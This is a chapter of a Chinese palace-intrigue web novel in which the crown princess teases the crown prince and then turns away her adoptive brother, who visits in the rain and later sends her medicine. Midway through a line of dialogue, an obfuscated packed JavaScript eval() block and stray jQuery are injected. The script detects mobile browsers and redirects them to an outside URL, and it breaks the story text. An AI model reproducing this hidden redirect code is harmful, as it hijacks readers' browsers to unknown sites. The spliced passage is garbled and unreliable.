18.不速之客

作品:《陛下,我想当皇帝

    这一番七分造势三分藏锋之法,如教科书一般精准,纵使是顾玉初也难以挑出什么瑕疵。


    他饶有兴趣地听着,却见秋绪说着说着,突然没了声响,而是皱皱眉头,咬咬下唇,还伴随几不可闻的叹息,看上去有心事。


    他不由好笑:“哪一步谋划得不够周全?”


    秋绪摇摇头:“没有。”


    而且她也不敢讲。


    方才谈及,梁家人或许会斥责她为何不设法捞捞梁世子时,在她脑海中浮现的,竟然是梁翊辰的面容。


    ……倒不是说担心被他骂。


    平心而论,秋绪对这个看似天真无邪的少年也谈不上有多少恶感,甚至于当初看到他的结局,也有些唏嘘。


    老一辈的是是非非恩怨纠葛,无论如何不该全然归咎于孩子身上,纵使血脉里流淌着某些难以言说的“原罪”,至少眼下来看,不过是个尚未褪去真性情的少年郎。


    而且她能感觉到,这孩子对养姐确实一片赤诚真心,在梁家人的范畴里已经不可多得。


    他送的礼物,也不仅仅是装点场面用的昂贵物件儿,不管是亲自挑选的耳坠朱钗,或是买到街上新出炉糕点,哪怕绕路也要送来,去狩猎之前也说好,若有所获,一定有阿姐一份。


    如此种种,都已经偏向于真正亲人之间的亲密,倘若有一日,他知道阿姐背弃梁家,不免要心碎吧。


    ——当然,她的立场并未动摇。


    她也清楚地知道,越是亲密,就意味着身份暴露的风险越大,决不能让梁翊辰发现任何端倪,后果将不堪设想。


    说来讽刺,反观她的来时路,看似优柔寡断,一惊一乍,实则决断皆有,该完成之事,桩桩不落。


    此时,一直在仔细观察她的顾玉初冷不丁开口:“你莫不是在想梁家那小子?”


    秋绪一愣:“你怎么知道?”


    他淡淡道:“你盯着那盘云花糕看很久了。”


    太子殿下的面色阴沉似乌云聚集,显然已经非常不好,满脸满脸写着再不哄他就要下雨,就是这般喜怒极形于色。


    秋绪赶紧岔开话题:“哎呀,我就是在想,这小子十六岁就能秋闱中举,当真是有这么厉害吗?”


    “孤怎知。”顾玉初冷冰冰地蹦字儿,而后撇过脸去,只露出冷玉似的侧颜线条,“梁家世代人才辈出,国公府嫡长孙享有最优的教育资源,天纵奇才也不足挂齿。”


    秋绪连连点头表赞同:“就是!再天纵奇才又如何?比起殿下,那是远远不及!”


    刚说出口,一抬眼便撞进顾玉初酝酿着薄怒的凤眸中,她这才发觉,自己好似敷衍过了头。


    偏生他这怒目而视的表情格外新鲜。


    不是那种“你去死吧”的怒意,这个人心里不太阳光,真气得要杀人时都在笑——而是“孤也是你能消遣的?”的生气。


    眉峰压低唇角紧抿,鲜活灵动得像是被踩着尾巴后炸毛的大猫猫。


    顾玉初自由养尊处优,嚣张骄纵惯了,戏弄别人时总透着游刃有余的慵懒和欠揍,哪里受过这种调侃?


    秋绪终究没忍住,噗嗤笑出声来。


    眼见着顾玉初的表情更是难看,秋绪赶紧伸出手指,讨饶似的戳戳他的手背:“殿下别生气,我给你摸摸手,好不好?”


    顾玉初霍然抽手:“放肆!”


    “是是是,我放肆,我僭越。”她又往前倾身,勾住他尾指,似有若无地蹭他手心,“可殿下你不是挺喜欢的吗……”


    他下意识一握,反应过来后又竖起眉头:“你不要以为——”


    “我就以为!”秋绪正气凛然地打断,一把将他的手按在自己手背上,“咱们合法夫妻,摸一下怎么了?摸!使劲摸!”


    话音未落,她自己倒先闷笑出声,半晌竟是趴在桌上埋袖子里吃吃发笑。


    顾玉初潦草瞥她一眼便收回视线,实在看不懂秋绪在那笑个什么劲儿,但见她难得主动,便捞起她的手,在纤细的手腕处咬了一口。


    秋绪的笑声戛然而止。


    她一抬眼,面无表情地看着那排整齐的牙印,虽然没说话,但眼睛骂的很脏:“你是狗吗?顾玉初,你是狗吗!”


    “哈哈哈!”这一回,轮到顾玉初开始莫名其妙地大笑起来。


    闹过后,顾玉初因为秋绪方才的话,蓦然想起梁翊辰书院休沐的事情来。


    “梁翊辰那书院,往年这段时间应是弦歌不绝,怎么偏偏这时候要张罗扩建?”他疑惑道,“还正逢雨季,这般大动干戈,甚至遣散学子?”


    刚说罢,他又觉得可笑,左右不过是修缮屋子这等寻常小事,怎么值当他费心思。


    秋绪听他所言,揉着牙印,陷入沉思。


    漱玉书院响当当的名声,便是在皇城根下也不曾黯淡分毫,说是私塾,倒辱没了这份金字招牌。


    其中学子们皆出身不凡,非富即贵,身份但凡低些,都不好意思在书案前落座,寒门子弟更是连门环都叩不响。


    在秋绪的理解中,这就是京城最著名的重点私立中学。


    听着好似没什么特别之处,可梁国公府的嫡长孙梁翊辰也在这里念书,此间深浅自不必说。


    由此,不难揣测。


    这漱玉书院应是梁家的手笔之一,正是为了往官场输送梁党的新鲜血液。


    这书院突然反常,莫非……


    秋绪垂眸,脑子里的疑惑转了几个弯,暗道不会吧?哪里就会有这么巧合的事情?


    面对面坐着的两人,各有各的心事暗涌。


    不经意间,他们眼波一碰,分明都咂摸出对方心中的猜测,偏生因为没有确凿证据,谁都不肯先开口。


    见顾玉初这般,秋绪也不想了,索性往后靠在软枕上,往嘴里丢了一颗蜜饯。


    哎,反正也不是她该操心的事儿,已经超出业务范围了,愁多了要生白发的,何苦来哉?


    她还想活久一点,多过过混吃混喝晒太阳的安生日子,以及——视线扫过太子青筋微凸的手背,真是怪好看的,下次她也要咬。


    之后接连几日,就再没今儿的好晴天。


    本就稀薄的太阳光彻底隐匿踪迹,取而代之的是连绵不绝的大雨,笼罩着昭明殿的庭院,带着深秋的刺骨寒意。


    秋绪缩在椅子里,裹着斗篷,抱着暖炉,湿冷之意还是丝丝缕缕地往骨子里钻。


    话本摊在膝头,也读不进半页。


    听说,她的计划正在按部就班地推进。


    三皇子终究是难以推脱地接下协理差事,每日在母族的请安折子与御史台的弹劾文书之中艰难摇摆,到底是选择自保还是庇护舅舅。


    ——其实也并非难以抉择,他只是妄图寻求一种平衡,以堵住众人之口,父皇母后的、老夫人的,还有那群聒噪不休的臣子们的。


    他心中烦闷不已,自己甚至还未行冠礼,为何竟要应对这般棘手之事?


    秋绪从系统小电影中看到他狼狈的模样,再次陷入思索,这便是权力吗?


    只需要轻轻挑起手指,便能让凤子龙孙都如提线木偶般惶然作态?


    怪道这么多人削尖了脑袋也要往上挤。


    她收了话本,静静地看着廊下的雨帘发呆。


    忽然想起半月前,在马车里,窗外亦是这般的大雨滂沱,她缩在绒毯里,望着顾玉初撩起锦帘,随意将手探进雨幕。


    烟翠山色与朦胧雨意,衬得他侧脸如画,她瞧着心跳都漏了两拍,到现在也没忘记那一幕。


    或许是因为事务过于繁忙,自那日后,她就再没见过顾玉初了。


    又或许是因为积水会脏了爪爪,连踏雪也没有再来,甚至连那总是来讨食的小画眉都不见踪影,仿佛整个世界都被这雨困在寂静之中。


    就在她出神时,竟来了一位不速之客。


    兰心轻步到她跟前,附耳低语:“梁家小少爷巳时末就在偏殿里候着,求见太子妃,看着是冒雨来的呢。”


    秋绪一惊,方才的倦怠之意消散殆尽。


    看来,她对于他的判断果然无误,可如今这境地,她又能如何呢?


    “我不能与他见面。”秋绪轻叹一声,“不论他想让我做什么,我都没办法答应他。”


    “张公早前便说殿下身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519545|168546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    体不适,正在休息,已经回绝过一次了。”兰心给她递了一杯温茶,“可梁少爷依旧不肯离开。”


    秋绪一时犹疑,望向窗外喧嚣的雨,兰心观察她的面色,问道:“殿下要去见梁少爷吗?”


    “不去。”她缓缓摇头,“不见面,反而对他更好,我已经不是……我已经帮不了他了。”


    秋绪凑至兰心耳畔,轻声嘱咐数句,兰心领命,颔首后匆匆寻张总管去了。


    而后,她还是不大放心,执了把油纸伞便往偏殿而去,抵达后将身形隐于廊柱后方,静悄悄地听着张总管与梁翊辰的交谈。


    张总管向来慈眉善目,哪怕是对着梁家人,也礼貌客气得挑不出错处:“梁小少爷且回吧,这雨再落下去,怕是要伤及贵体安康。”


    “多谢张公,可张公深知我家处境,”梁翊辰的脊背绷得笔直,言辞却恳切,“家父突遭变故,我实在放心不下阿姐,此番前来,只是想亲瞧她一眼,还望张公通传一声。”


    秋绪从梁翊辰的声音里清晰地察觉到某种沉重与沙哑,与上回那满是少年人意气风发的洪亮声音截然不同。


    显然,父亲入狱的事情,对梁翊辰的打击非常大,如今他像是在一夜长大,却染上成年人无可奈何的疲惫与憔悴。


    不过他所表现出来的言行举止,却比秋绪预想的要冷静沉稳得多。


    “老奴自是明白,梁小少爷体恤太子妃殿下的一片苦心。”


    张总管微微躬身,对梁翊辰毕恭毕敬地说,“只不过,太子妃近些天来,日日都要饮下安神汤方可入睡,今早连参茸粥都……”


    他停了停,摇摇头道:“老奴早前说太子妃卧榻调养,暂不见客,绝非推诿之词。”


    梁翊辰听罢,神色陡然焦急,连忙追问道:“张公,我阿姐究竟怎么了?她还好吗?”


    “梁小少爷,令尊之事,太子妃的忧思,并不比您少半分。”张总管长长叹口气,“想必您也听闻了太子妃在枕洲的事情吧?”


    梁翊辰眼眸一颤,并未接话。


    “那汪知州妄图攀咬梁世子,引得太子妃勃然大怒,为了护住梁世子的清白,竟直接破了仓库之锁。太子妃这份拳拳孝心,日月可鉴。”


    说到此处,张总管语气一顿,面上流露出惋惜与无奈:“谁能料到后来……”


    “太子妃气急攻心,接连痛哭,连嗓子都哑了,甚至因此与太子殿下产生龃龉,如此身心俱疲,方卧病在床。”


    张总管说得太深入人心,躲在柱子后面的秋绪听罢都有些心虚,只不过这举止行径,确实是是最贴合“梁家养女”身份的做派了。


    梁翊辰双手紧攥着衣袖,满脸皆是自责。


    他回忆起那日在凤宁宫与秋绪相见,彼时她整个人就心事沉沉,数次对他欲言又止,必是想和她说说话。


    可他那日偏要同三殿下去跑马射猎。


    梁翊辰肩头微震,垂眸拱手道:“烦请张公转告阿姐,就说……家中诸事,自会妥善处置,莫要过度挂怀。 ”


    张总管哪敢受礼,连连退让回礼:“梁小少爷客气了,此皆老奴分内之事。”


    直到梁翊辰离开偏殿,秋绪才悄悄走出来,看着他蓦然显得孤寂萧索的背影,缄默无言。


    未过多久,秋绪望着侍从不断抬进院子里的药材箱子,轻轻叹气:“何苦送这些……”


    都是梁翊辰遣人送来的,说是听闻太子妃生病,给她滋补身体所用,里面还夹着一张字条:


    “阿姐往昔逢那秋雨缠扰,总咳嗽不止,务必记得取雪菊与川贝调养,稍解这烦人之恙。


    心病难医,唯愿珍重身体。”


    秋绪暗暗凝眉,原是她想岔了,梁翊辰根本没有任何指责求助的意思,是真的想看看阿姐是否安好……


    只是,他的这份心意,如同无根之萍,又将漂泊到何处去呢?


    心软,于这纷繁世间,不过是无用的温柔。


    她也要先活下去啊。


    “都收进库房吧。”最终,她蓦然转身,“让张总管拟份谢礼单子,记得添两刀漱雪笺纸,辰哥儿打小儿,就最挑笔墨了。”